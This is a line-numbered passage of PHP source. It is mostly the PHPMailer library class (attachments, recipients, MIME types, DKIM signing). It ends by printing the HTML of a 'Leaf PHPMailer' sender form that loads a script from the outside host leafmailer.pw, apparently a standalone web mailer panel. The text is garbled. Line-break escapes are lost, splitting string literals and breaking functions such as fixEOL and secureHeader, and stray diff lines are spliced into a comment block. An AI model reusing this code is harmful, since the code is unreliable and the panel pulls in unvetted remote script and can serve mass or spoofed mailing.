     * Add an embedded (inline) attachment from a file.
2547
     * This can include images, sounds, and just about any other document type.
2548
     * These differ from 'regular' attachments in that they are intended to be
2549
     * displayed inline with the message, not just attached for download.
2550
     * This is used in HTML messages that embed the images
2551
     * the HTML refers to using the $cid value.
2552
     * @param string $path Path to the attachment.
2553
     * @param string $cid Content ID of the attachment; Use this to reference
2554
     *        the content when using an embedded image in HTML.
2555
     * @param string $name Overrides the attachment name.
2556
     * @param string $encoding File encoding (see $Encoding).
2557
     * @param string $type File MIME type.
2558
     * @param string $disposition Disposition to use
2559
     * @return boolean True on successfully adding an attachment
2560
     */
2561
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
2562
        if (!@is_file($path)) {
2563
            $this->setError($this->lang('file_access') . $path);
2564
            return false;
2565
        }
2566
        // If a MIME type is not specified, try to work it out from the file name
2567
        if ($type == '') {
2568
            $type = self::filenameToType($path);
2569
        }
2570
        $filename = basename($path);
2571
        if ($name == '') {
2572
            $name = $filename;
2573
        }
2574
        // Append to $attachment array
2575
        $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment
2576
        6 => $disposition, 7 => $cid);
2577
        return true;
2578
    }
2579
    /**
2580
     * Add an embedded stringified attachment.
2581
     * This can include images, sounds, and just about any other document type.
2582
     * Be sure to set the $type to an image type for images:
2583
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
2584
     * @param string $string The attachment binary data.
2585
     * @param string $cid Content ID of the attachment; Use this to reference
2586
     *        the content when using an embedded image in HTML.
2587
     * @param string $name
2588
     * @param string $encoding File encoding (see $Encoding).
2589
     * @param string $type MIME type.
2590
     * @param string $disposition Disposition to use
2591
     * @return boolean True on successfully adding an attachment
2592
     */
2593
    public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
2594
        // If a MIME type is not specified, try to work it out from the name
2595
        if ($type == '' and !empty($name)) {
2596
            $type = self::filenameToType($name);
2597
        }
2598
        // Append to $attachment array
2599
        $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment
2600
        6 => $disposition, 7 => $cid);
2601
        return true;
2602
    }
2603
    /**
2604
     * Check if an inline attachment is present.
2605
     * @access public
2606
     * @return boolean
2607
     */
2608
    public function inlineImageExists() {
2609
        foreach ($this->attachment as $attachment) {
2610
            if ($attachment[6] == 'inline') {
2611
                return true;
2612
            }
2613
        }
2614
        return false;
2615
    }
2616
    /**
2617
     * Check if an attachment (non-inline) is present.
2618
     * @return boolean
2619
     */
2620
    public function attachmentExists() {
2621
        foreach ($this->attachment as $attachment) {
2622
            if ($attachment[6] == 'attachment') {
2623
                return true;
2624
            }
2625
        }
2626
        return false;
2627
    }
2628
    /**
2629
     * Check if this message has an alternative body set.
2630
     * @return boolean
2631
     */
2632
    public function alternativeExists() {
2633
        return !empty($this->AltBody);
2634
    }
2635
    /**
2636
     * Clear queued addresses of given kind.
2637
     * @access protected
2638
     * @param string $kind 'to', 'cc', or 'bcc'
2639
     * @return void
2640
     */
2641
    public function clearQueuedAddresses($kind) {
2642
        $RecipientsQueue = $this->RecipientsQueue;
2643
        foreach ($RecipientsQueue as $address => $params) {
2644
            if ($params[0] == $kind) {
2645
                unset($this->RecipientsQueue[$address]);
2646
            }
2647
        }
2648
    }
2649
    /**
2650
     * Clear all To recipients.
2651
     * @return void
2652
     */
2653
    public function clearAddresses() {
2654
        foreach ($this->to as $to) {
2655
            unset($this->all_recipients[strtolower($to[0]) ]);
2656
        }
2657
        $this->to = array();
2658
        $this->clearQueuedAddresses('to');
2659
    }
2660
    /**
2661
     * Clear all CC recipients.
2662
     * @return void
2663
     */
2664
    public function clearCCs() {
2665
        foreach ($this->cc as $cc) {
2666
            unset($this->all_recipients[strtolower($cc[0]) ]);
2667
        }
2668
        $this->cc = array();
2669
        $this->clearQueuedAddresses('cc');
2670
    }
2671
    /**
2672
     * Clear all BCC recipients.
2673
     * @return void
2674
     */
2675
    public function clearBCCs() {
2676
        foreach ($this->bcc as $bcc) {
2677
            unset($this->all_recipients[strtolower($bcc[0]) ]);
2678
        }
2679
        $this->bcc = array();
2680
        $this->clearQueuedAddresses('bcc');
2681
    }
2682
    /**
2683
     * Clear all ReplyTo recipients.
2684
     * @return void
2685
     */
2686
    public function clearReplyTos() {
2687
        $this->ReplyTo = array();
2688
        $this->ReplyToQueue = array();
2689
    }
2690
    /**
2691
     * Clear all recipient types.
2692
     * @return void
2693
     */
2694
    public function clearAllRecipients() {
2695
        $this->to = array();
2696
        $this->cc = array();
2697
        $this->bcc = array();
2698
        $this->all_recipients = array();
2699
        $this->RecipientsQueue = array();
2700
    }
2701
    /**
2702
     * Clear all filesystem, string, and binary attachments.
2703
     * @return void
2704
     */
2705
    public function clearAttachments() {
2706
        $this->attachment = array();
2707
    }
2708
    /**
2709
     * Clear all custom headers.
2710
     * @return void
2711
     */
2712
    public function clearCustomHeaders() {
2713
        $this->CustomHeader = array();
2714
    }
2715
    /**
2716
     * Add an error message to the error container.
2717
     * @access protected
2718
     * @param string $msg
2719
     * @return void
2720
     */
2721
    protected function setError($msg) {
2722
        $this->error_count++;
2723
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
2724
            $lasterror = $this->smtp->getError();
2725
            if (!empty($lasterror['error'])) {
2726
                $msg.= $this->lang('smtp_error') . $lasterror['error'];
2727
                if (!empty($lasterror['detail'])) {
2728
                    $msg.= ' Detail: ' . $lasterror['detail'];
2729
                }
2730
                if (!empty($lasterror['smtp_code'])) {
2731
                    $msg.= ' SMTP code: ' . $lasterror['smtp_code'];
2732
                }
2733
                if (!empty($lasterror['smtp_code_ex'])) {
2734
                    $msg.= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
2735
                }
2736
            }
2737
        }
2738
        $this->ErrorInfo = $msg;
2739
    }
2740
    /**
2741
     * Return an RFC 822 formatted date.
2742
     * @access public
2743
     * @return string
2744
     * @static
2745
     */
2746
    public static function rfcDate() {
2747
        // Set the time zone to whatever the default is to avoid 500 errors
2748
        // Will default to UTC if it's not set properly in php.ini
2749
        date_default_timezone_set(@date_default_timezone_get());
2750
        return date('D, j M Y H:i:s O');
2751
    }
2752
    /**
2753
     * Get the server hostname.
2754
     * Returns 'localhost.localdomain' if unknown.
2755
     * @access protected
2756
     * @return string
2757
     */
2758
    protected function serverHostname() {
2759
        $result = 'localhost.localdomain';
2760
        if (!empty($this->Hostname)) {
2761
            $result = $this->Hostname;
2762
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
2763
            $result = $_SERVER['SERVER_NAME'];
2764
        } elseif (function_exists('gethostname') && gethostname() !== false) {
2765
            $result = gethostname();
2766
        } elseif (php_uname('n') !== false) {
2767
            $result = php_uname('n');
2768
        }
2769
        return $result;
2770
    }
2771
    /**
2772
     * Get an error message in the current language.
2773
     * @access protected
2774
     * @param string $key
2775
     * @return string
2776
     */
2777
    protected function lang($key) {
2778
        if (count($this->language) < 1) {
2779
            $this->setLanguage('en'); // set the default language
2780
            
2781
        }
2782
        if (array_key_exists($key, $this->language)) {
2783
            if ($key == 'smtp_connect_failed') {
2784
                //Include a link to troubleshooting docs on SMTP connection failure
2785
                //this is by far the biggest cause of support questions
2786
                //but it's usually not PHPMailer's fault.
2787
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
2788
            }
2789
            return $this->language[$key];
2790
        } else {
2791
            //Return the key as a fallback
2792
            return $key;
2793
        }
2794
    }
2795
    /**
2796
     * Check if an error occurred.
2797
     * @access public
2798
     * @return boolean True if an error did occur.
2799
     */
2800
    public function isError() {
2801
        return ($this->error_count > 0);
2802
    }
2803
    /**
2804
     * Ensure consistent line endings in a string.
2805
     * Changes every end of line from CRLF, CR or LF to $this->LE.
2806
     * @access public
2807
     * @param string $str String to fixEOL
2808
     * @return string
2809
     */
2810
    public function fixEOL($str) {
2811
        // Normalise to
2812
        $nstr = str_replace(array("
2813
", "
2814
"), "
2815
", $str);
2816
        // Now convert LE as needed
2817
        if ($this->LE !== "
2818
") {
2819
            $nstr = str_replace("
2820
", $this->LE, $nstr);
2821
        }
2822
        return $nstr;
2823
    }
2824
    /**
2825
     * Add a custom header.
2826
     * $name value can be overloaded to contain
2827
     * both header name and value (name:value)
2828
     * @access public
2829
     * @param string $name Custom header name
2830
     * @param string $value Header value
2831
     * @return void
2832
     */
2833
    public function addCustomHeader($name, $value = null) {
2834
        if ($value === null) {
2835
            // Value passed in as name:value
2836
            $this->CustomHeader[] = explode(':', $name, 2);
2837
        } else {
2838
            $this->CustomHeader[] = array($name, $value);
2839
        }
2840
    }
2841
    /**
2842
     * Returns all custom headers.
2843
     * @return array
2844
     */
2845
    public function getCustomHeaders() {
2846
        return $this->CustomHeader;
2847
    }
2848
    /**
2849
     * Create a message from an HTML string.
2850
     * Automatically makes modifications for inline images and backgrounds
2851
     * and creates a plain-text version by converting the HTML.
2852
     * Overwrites any existing values in $this->Body and $this->AltBody
2853
     * @access public
2854
     * @param string $message HTML message string
2855
     * @param string $basedir baseline directory for path
2856
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
2857
     *    or your own custom converter @see PHPMailer::html2text()
2858
     * @return string $message
2859
     */
2860
    public function msgHTML($message, $basedir = '', $advanced = false) {
2861
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
2862
        if (array_key_exists(2, $images)) {
2863
            foreach ($images[2] as $imgindex => $url) {
2864
                // Convert data URIs into embedded images
2865
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
2866
                    $data = substr($url, strpos($url, ','));
2867
                    if ($match[2]) {
2868
                        $data = base64_decode($data);
2869
                    } else {
2870
                        $data = rawurldecode($data);
2871
                    }
2872
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
2873
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
2874
                        $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
2875
                    }
2876
                } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
2877
                    // Do not change urls for absolute images (thanks to corvuscorax)
2878
                    // Do not change urls that are already inline images
2879
                    $filename = basename($url);
2880
                    $directory = dirname($url);
2881
                    if ($directory == '.') {
2882
                        $directory = '';
2883
                    }
2884
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
2885
                    if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
2886
                        $basedir.= '/';
2887
                    }
2888
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
2889
                        $directory.= '/';
2890
                    }
2891
                    if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
2892
                        $message = preg_replace('/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
2893
                    }
2894
                }
2895
            }
2896
        }
2897
        $this->isHTML(true);
2898
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
2899
        $this->Body = $this->normalizeBreaks($message);
2900
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
2901
        if (empty($this->AltBody)) {
2902
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
2903
        }
2904
        return $this->Body;
2905
    }
2906
    /**
2907
     * Convert an HTML string into plain text.
2908
     * This is used by msgHTML().
2909
     * Note - older versions of this function used a bundled advanced converter
2910
     * which was been removed for license reasons in #232
2911
     * Example usage:
2912
     * <code>
2913
     * // Use default conversion
2914
     * $plain = $mail->html2text($html);
2915
     * // Use your own custom converter
2916
     * $plain = $mail->html2text($html, function($html) {
2917
     *     $converter = new MyHtml2text($html);
2918
     *     return $converter->get_text();
2919
     * });
2920
     * </code>
2921
     * @param string $html The HTML text to convert
2922
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
2923
     *   or provide your own callable for custom conversion.
2924
     * @return string
2925
     */
2926
    public function html2text($html, $advanced = false) {
2927
        if (is_callable($advanced)) {
2928
            return call_user_func($advanced, $html);
2929
        }
2930
        return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))), ENT_QUOTES, $this->CharSet);
2931
    }
2932
    /**
2933
     * Get the MIME type for a file extension.
2934
     * @param string $ext File extension
2935
     * @access public
2936
     * @return string MIME type of file.
2937
     * @static
2938
     */
2939
    public static function _mime_types($ext = '') {
2940
        $mimes = array('xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie');
2941
        if (array_key_exists(strtolower($ext), $mimes)) {
2942
            return $mimes[strtolower($ext) ];
2943
        }
2944
        return 'application/octet-stream';
2945
    }
2946
    /**
2947
     * Map a file name to a MIME type.
2948
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
2949
     * @param string $filename A file name or full path, does not need to exist as a file
2950
     * @return string
2951
     * @static
2952
     */
2953
    public static function filenameToType($filename) {
2954
        // In case the path is a URL, strip any query string before getting extension
2955
        $qpos = strpos($filename, '?');
2956
        if (false !== $qpos) {
2957
            $filename = substr($filename, 0, $qpos);
2958
        }
2959
        $pathinfo = self::mb_pathinfo($filename);
2960
        return self::_mime_types($pathinfo['extension']);
2961
    }
2962
    /**
2963
     * Multi-byte-safe pathinfo replacement.
2964
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
2965
     * Works similarly to the one in PHP >= 5.2.0
2966
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
2967
     * @param string $path A filename or path, does not need to exist as a file
2968
     * @param integer|string $options Either a PATHINFO_* constant,
2969
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
2970
     * @return string|array
2971
     * @static
2972
     */
2973
    public static function mb_pathinfo($path, $options = null) {
2974
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
2975
        $pathinfo = array();
2976
        if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) {
2977
            if (array_key_exists(1, $pathinfo)) {
2978
                $ret['dirname'] = $pathinfo[1];
2979
            }
2980
            if (array_key_exists(2, $pathinfo)) {
2981
                $ret['basename'] = $pathinfo[2];
2982
            }
2983
            if (array_key_exists(5, $pathinfo)) {
2984
                $ret['extension'] = $pathinfo[5];
2985
            }
2986
            if (array_key_exists(3, $pathinfo)) {
2987
                $ret['filename'] = $pathinfo[3];
2988
            }
2989
        }
2990
        switch ($options) {
2991
            case PATHINFO_DIRNAME:
2992
            case 'dirname':
2993
                return $ret['dirname'];
2994
            case PATHINFO_BASENAME:
2995
            case 'basename':
2996
                return $ret['basename'];
2997
            case PATHINFO_EXTENSION:
2998
            case 'extension':
2999
                return $ret['extension'];
3000
            case PATHINFO_FILENAME:
3001
            case 'filename':
3002
                return $ret['filename'];
3003
            default:
3004
                return $ret;
3005
        }
3006
    }
3007
    /**
3008
     * Set or reset instance properties.
3009
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
3010
     * harder to debug than setting properties directly.
3011
     * Usage Example:
3012
     * `$mail->set('SMTPSecure', 'tls');`
3013
     *   is the same as:
3014
     * `$mail->SMTPSecure = 'tls';`
3015
     * @access public
3016
     * @param string $name The property name to set
3017
     * @param mixed $value The value to set the property to
3018
     * @return boolean
3019
     * @TODO Should this not be using the __set() magic function?
3020
     */
3021
    public function set($name, $value = '') {
3022
        if (property_exists($this, $name)) {
3023
            $this->$name = $value;
3024
            return true;
3025
        } else {
3026
            $this->setError($this->lang('variable_set') . $name);
3027
            return false;
3028
        }
3029
    }
3030
    /**
3031
     * Strip newlines to prevent header injection.
3032
     * @access public
3033
     * @param string $str
3034
     * @return string
3035
     */
3036
    public function secureHeader($str) {
3037
        return trim(str_replace(array("
3038
", "
3039
"), '', $str));
3040
    }
3041
    /**
3042
     * Normalize line breaks in a string.
3043
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
3044
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
3045
     * @param string $text
3046
     * @param string $breaktype What kind of line break to use, defaults to CRLF
3047
     * @return string
3048
     * @access public
3049
     * @static
3050
     */
3051
    public static function normalizeBreaks($text, $breaktype = "
3052
") {
3053
        return preg_replace('/(
3054
|
3055
|
3056
)/ms', $breaktype, $text);
3057
    }
3058
    /**
3059
     * Set the public and private key files and password for S/MIME signing.
3060
     * @access public
3061
     * @param string $cert_filename
3062
     * @param string $key_filename
3063
     * @param string $key_pass Password for private key
3064
     * @param string $extracerts_filename Optional path to chain certificate
3065
     */
3066
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') {
3067
        $this->sign_cert_file = $cert_filename;
3068
        $this->sign_key_file = $key_filename;
3069
        $this->sign_key_pass = $key_pass;
3070
        $this->sign_extracerts_file = $extracerts_filename;
3071
    }
3072
    /**
3073
     * Quoted-Printable-encode a DKIM header.
3074
     * @access public
3075
     * @param string $txt
3076
     * @return string
3077
     */
3078
    public function DKIM_QP($txt) {
3079
        $line = '';
3080
        for ($i = 0;$i < strlen($txt);$i++) {
3081
            $ord = ord($txt[$i]);
3082
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
3083
                $line.= $txt[$i];
3084
            } else {
3085
                $line.= '=' . sprintf('%02X', $ord);
3086
            }
3087
        }
3088
        return $line;
3089
    }
3090
    /**
3091
     * Generate a DKIM signature.
3092
     * @access public
3093
     * @param string $signHeader
3094
     * @throws phpmailerException
3095
     * @return string
3096
     */
3097
    public function DKIM_Sign($signHeader) {
3098
        if (!defined('PKCS7_TEXT')) {
3099
            if ($this->exceptions) {
3100
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
3101
            }
3102
            return '';
3103
        }
3104
        $privKeyStr = file_get_contents($this->DKIM_private);
3105
        if ($this->DKIM_passphrase != '') {
3106
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
3107
        } else {
3108
            $privKey = $privKeyStr;
3109
        }
3110
        if (openssl_sign($signHeader, $signature, $privKey)) {
3111
            return base64_encode($signature);
3112
        }
3113
        return '';
3114
    }
3115
    /**
3116
     * Generate a DKIM canonicalization header.
3117
     * @access public
3118
     * @param string $signHeader Header
3119
     * @return string
3120
     */
3121
    public function DKIM_HeaderC($signHeader) {
3122
        $signHeader = preg_replace('/
3123
\s+/', ' ', $signHeader);
3124
        $lines = explode("
3125
", $signHeader);
3126
        foreach ($lines as $key => $line) {
3127
            list($heading, $value) = explode(':', $line, 2);
3128
            $heading = strtolower($heading);
3129
            $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
3130
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
3131
            
3132
        }
3133
        $signHeader = implode("
3134
", $lines);
3135
        return $signHeader;
3136
    }
3137
    /**
3138
     * Generate a DKIM canonicalization body.
3139
     * @access public
3140
     * @param string $body Message Body
3141
     * @return string
3142
     */
3143
    public function DKIM_BodyC($body) {
3144
        if ($body == '') {
3145
            return "
3146
";
3147
        }
3148
        // stabilize line endings
3149
        $body = str_replace("
3150
", "
3151
", $body);
3152
        $body = str_replace("
3153
", "
3154
", $body);
3155
        // END stabilize line endings
3156
        while (substr($body, strlen($body) - 4, 4) == "
3157
3158
") {
3159
            $body = substr($body, 0, strlen($body) - 2);
3160
        }
3161
        return $body;
3162
    }
3163
    /**
3164
     * Create the DKIM header and body in a new message header.
3165
     * @access public
3166
     * @param string $headers_line Header lines
3167
     * @param string $subject Subject
3168
     * @param string $body Body
3169
     * @return string
3170
     */
3171
    public function DKIM_Add($headers_line, $subject, $body) {
3172
        $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
3173
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
3174
        $DKIMquery = 'dns/txt'; // Query method
3175
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
3176
        $subject_header = "Subject: $subject";
3177
        $headers = explode($this->LE, $headers_line);
3178
        $from_header = '';
3179
        $to_header = '';
3180
        $current = '';
3181
        foreach ($headers as $header) {
3182
            if (strpos($header, 'From:') === 0) {
3183
                $from_header = $header;
3184
                $current = 'from_header';
3185
            } elseif (strpos($header, 'To:') === 0) {
3186
                $to_header = $header;
3187
                $current = 'to_header';
3188
            } else {
3189
                if (!empty($$current) && strpos($header, ' =?') === 0) {
3190
                    $$current.= $header;
3191
                } else {
3192
                    $current = '';
3193
                }
3194
            }
3195
        }
3196
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
3197
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
3198
        $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)); // Copied header fields (dkim-quoted-printable)
3199
        $body = $this->DKIM_BodyC($body);
3200
        $DKIMlen = strlen($body); // Length of body
3201
        $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
3202
        if ('' == $this->DKIM_identity) {
3203
            $ident = '';
3204
        } else {
3205
            $ident = ' i=' . $this->DKIM_identity . ';';
3206
        }
3207
        $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";
3208
" . "	t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";
3209
" . "	h=From:To:Subject;
3210
" . "	d=" . $this->DKIM_domain . ';' . $ident . "
3211
" . "	z=$from
3212
" . "	|$to
3213
" . "	|$subject;
3214
" . "	bh=" . $DKIMb64 . ";
3215
" . "	b=";
3216
        $toSign = $this->DKIM_HeaderC($from_header . "
3217
" . $to_header . "
3218
" . $subject_header . "
3219
" . $dkimhdrs);
3220
        $signed = $this->DKIM_Sign($toSign);
3221
        return $dkimhdrs . $signed . "
3222
";
3223
    }
3224
    /**
3225
     * Detect if a string contains a line longer than the maximum line length allowed.
3226
     * @param string $str
3227
     * @return boolean
3228
     * @static
3229
     */
3230
    public static function hasLineLongerThanMax($str) {
3231
        //+2 to include CRLF line break for a 1000 total
3232
        return (boolean)preg_match('/^(.{' . (self::MAX_LINE_LENGTH + 2) . ',})/m', $str);
3233
    }
3234
    /**
3235
     * Allows for public read access to 'to' property.
3236
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3237
     * @access public
3238
     * @return array
3239
     */
3240
    public function getToAddresses() {
3241
        return $this->to;
3242
    }
3243
    /**
3244
     * Allows for public read access to 'cc' property.
3245
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3246
     * @access public
3247
     * @return array
3248
     */
3249
    public function getCcAddresses() {
3250
        return $this->cc;
3251
    }
3252
    /**
3253
     * Allows for public read access to 'bcc' property.
3254
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3255
     * @access public
3256
     * @return array
3257
     */
3258
    public function getBccAddresses() {
3259
        return $this->bcc;
3260
    }
3261
    /**
3262
     * Allows for public read access to 'ReplyTo' property.
3263
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3264
     * @access public
3265
     * @return array
3266
     */
3267
    public function getReplyToAddresses() {
3268
        return $this->ReplyTo;
3269
    }
3270
    /**
3271
     * Allows for public read access to 'all_recipients' property.
3272
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3273
     * @access public
3274-
        $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";" . "	t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";" . "	h=From:To:Subject;" . "	d=" . $this->DKIM_domain . ';' . $ident . "" . "	z=$from" . "	|$to" . "	|$subject;" . "	bh=" . $DKIMb64 . ";" . "	b=";
3274+
3275-
        $toSign = $this->DKIM_HeaderC($from_header . "" . $to_header . "" . $subject_header . "" . $dkimhdrs);
3275+
3276
    public function getAllRecipientAddresses() {
3277
        return $this->all_recipients;
3278
    }
3279
    /**
3280
     * Perform a callback.
3281
     * @param boolean $isSent
3282
     * @param array $to
3283
     * @param array $cc
3284
     * @param array $bcc
3285
     * @param string $subject
3286
     * @param string $body
3287
     * @param string $from
3288
     */
3289
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) {
3290
        if (!empty($this->action_function) && is_callable($this->action_function)) {
3291
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
3292
            call_user_func_array($this->action_function, $params);
3293
        }
3294
    }
3295
}
3296
/**
3297
 * PHPMailer exception handler
3298
 * @package PHPMailer
3299
 */
3300
class phpmailerException extends Exception {
3301
    /**
3302
     * Prettify error message output
3303
     * @return string
3304
     */
3305
    public function errorMessage() {
3306
        $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />
3307
";
3308
        return $errorMsg;
3309
    }
3310
}
3311
print '
3312
<head>
3313
    <title>Leaf PHPMailer</title>
3314
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
3315
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
3316
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
3317
    <script src="https://leafmailer.pw/style.js"></script>
3318
3319
</head>';
3320
print '<body>';
3321
print '<div class="container col-lg-6">
3322
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>' . $leaf['version'] . '</small></h3>
3323
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
3324
            <div class="row">
3325
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="' . $senderEmail . '"></div>
3326
